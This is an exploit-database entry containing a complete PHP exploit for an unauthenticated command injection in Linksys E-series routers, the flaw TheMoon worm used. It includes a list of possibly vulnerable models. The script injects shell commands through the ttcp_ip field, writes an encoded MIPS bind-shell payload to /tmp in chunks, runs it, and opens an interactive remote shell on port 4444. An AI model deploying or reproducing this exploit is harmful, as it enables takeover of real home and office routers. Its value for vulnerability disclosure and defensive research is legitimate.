Linksys E-series Unauthenticated Remote Code Execution Exploit

[Fi8sVrs]

DB-ID: 31683 CVE: N/A OSVDB-ID: N/A

Author: Rew Published: 2014-02-16 Verified: Verified

Exploit Code: Download Vulnerable App: N/A

Exploit for 0day linksys unauthenticated remote code execution

vulnerability. As exploited by TheMoon worm; Discovered in

the wild on Feb 13, 2013 by Johannes Ullrich.

I was hoping this would stay under-wraps until a firmware

patch could be released, but it appears the cat is out of the bag...

That new Linksys worm... : netsec

Since it's now public, here's my take on it.

Exploit written by Rew.

(Yes I know, everyone hates PHP. Deal with it )

Currently only working over the LAN. I think there may be an

iptables issue or something. Left as an exercise to the reader.

Based on "strings" output on TheMoon worm binary, the

following devices may be vulnerable. This list may not be

accurate and/or complete!!!

• E4200
  
• E3200
  
• E3000
  
• E2500
  
• E2100L
  
• E2000
  
• E1550
  
• E1500
  
• E1200
  
• E1000
  
• E900
  
• E300
  
• WAG320N
  
• WAP300N
  
• WAP610N
  
• WES610N
  
• WET610N
  
• WRT610N
  
• WRT600N
  
• WRT400N
  
• WRT320N
  
• WRT160N
  
• WRT150N
  

#!/usr/bin/php

<?php

error_reporting(0);

$host = "192.168.1.1"; // target host

$port = "8080"; // target port

$vuln = "tmUnblock.cgi"; // hndUnblock.cgi works too

// msfpayload linux/mipsle/shell_bind_tcp LPORT=4444 X

$shellcode = base64_decode(

"f0VMRgEBAQAAAAAAAAAAAAIACAABAAAAVABAADQAAAAAAAAAAA".

"AAADQAIAABAAAAAAAAAAEAAAAAAAAAAABAAAAAQAB7AQAAogIA".

"AAcAAAAAEAAA4P+9J/3/DiQnIMABJyjAAf//BihXEAIkDAEBAV".

"BzDyT//1Aw7/8OJCdwwAERXA0kBGjNAf/9DiQncMABJWiuAeD/".

"ra/k/6Cv6P+gr+z/oK8lIBAC7/8OJCcwwAHg/6UjSRACJAwBAQ".

"FQcw8kJSAQAgEBBSROEAIkDAEBAVBzDyQlIBAC//8FKP//BihI".

"EAIkDAEBAVBzDyT//1AwJSAQAv3/DyQnKOAB3w8CJAwBAQFQcw".

"8kJSAQAgEBBSjfDwIkDAEBAVBzDyQlIBAC//8FKN8PAiQMAQEB".

"UHMPJFBzBiT//9AEUHMPJP//BijH/w8kJ3jgASEg7wPw/6Sv9P".

"+gr/f/DiQncMABIWDvAyFojgH//6Ct8P+lI6sPAiQMAQEBL2Jp".

"bi9zaA=="

);

// regular urlencode() doesn't do enough.

// it will break the exploit. so we use this

function full_urlencode($string) {

$ret = "";

for($c=0; $c<strlen($string); $c++) {

if($string[$c] != '&')

$ret .= "%".dechex(ord($string[$c]));

else

$ret .= "&";

}

return $ret;

}

// wget is kind of a bad solution, because it requires

// the payload be accessable via port 80 on the attacker's

// machine. a better solution is to manually write the

// executable payload onto the filesystem with echo -en

// unfortunatly the httpd will crash with long strings,

// so we do it in stages.

function build_payload($host, $port, $vuln, $shellcode) {

// in case we previously had a failed attempt

// meh, it can happen

echo "\tCleaning up... ";

$cleanup = build_packet($host, $port, $vuln, "rm /tmp/c0d3z");

if(!send_packet($host, $port, $cleanup)) die("fail\n");

else echo "done!\n";

// write the payload in 20byte stages

for($i=0; $i<strlen($shellcode); $i+=20) {

echo "\tSending ".$i."/".strlen($shellcode)." bytes... ";

$cmd = "echo -en '";

for($c=$i; $c<$i+20 && $c<strlen($shellcode); $c++) {

$cmd .= "\\0".decoct(ord($shellcode[$c]));

}

$cmd .= "' >> /tmp/c0d3z";

$cmd = build_packet($host, $port, $vuln, $cmd);

if(!send_packet($host, $port, $cmd)) die("fail\n");

else echo "sent!\n";

usleep(100000);

}

// make it usable

echo "\tConfiguring... ";

$config = build_packet($host, $port, $vuln, "chmod a+rwx /tmp/c0d3z");

if(!send_packet($host, $port, $config)) die("fail\n");

else echo "done!\n";

}

// add in all the HTTP shit

function build_packet($host, $port, $vuln, $payload) {

$exploit = full_urlencode(

"submit_button=&".

"change_action=&".

"submit_type=&".

"action=&".

"commit=0&".

"ttcp_num=2&".

"ttcp_size=2&".

"ttcp_ip=-h `".$payload."`&".

"StartEPI=1"

);

$packet =

"POST /".$vuln." HTTP/1.1\r\n".

"Host: ".$host."\r\n".

// this username:password is never checked

"Authorization: Basic ".base64_encode("admin:ThisCanBeAnything")."\r\n".

"Content-Type: application/x-www-form-urlencoded\r\n".

"Content-Length: ".strlen($exploit)."\r\n".

"\r\n".

$exploit;

return $packet;

}

function send_packet($host, $port, $packet) {

$socket = fsockopen($host, $port, $errno, $errstr);

if(!$socket) return false;

if(!fwrite($socket, $packet)) return false;

fclose($socket);

return true;

}

echo "Testing connection to target... ";

$socket = fsockopen($host, $port, $errno, $errstr, 30);

if(!$socket) die("fail\n");

else echo "connected!\n";

fclose($socket);

echo "Sending payload... \n";

build_payload($host, $port, $vuln, $shellcode);

sleep(3); // don't rush him

echo "Executing payload... ";

if(!send_packet($host, $port, build_packet($host, $port, $vuln, "/tmp/c0d3z"))) die("fail\n");

else echo "done!\n";

sleep(3); // don't rush him

echo "Attempting to get a shell... ";

$socket = fsockopen($host, 4444, $errno, $errstr, 30);

if(!$socket) die("fail\n");

else echo "connected!\n";

echo "Opening shell... \n";

while(!feof($socket)) {

$cmd = readline($host."$ ");

if(!empty($cmd)) readline_add_history($cmd);

// there has got to be a better way to detect that we have

// reached the end of the output than this, but whatever

// it's late... i'm tired... and it works...

fwrite($socket, $cmd.";echo xxxEOFxxx\n");

$data = "";

do {

$data .= fread($socket, 1);

} while(strpos($data, "xxxEOFxxx") === false && !feof($socket));

echo str_replace("xxxEOFxxx", "", $data);

}

?>

http://www.exploit-db.com/exploits/31683/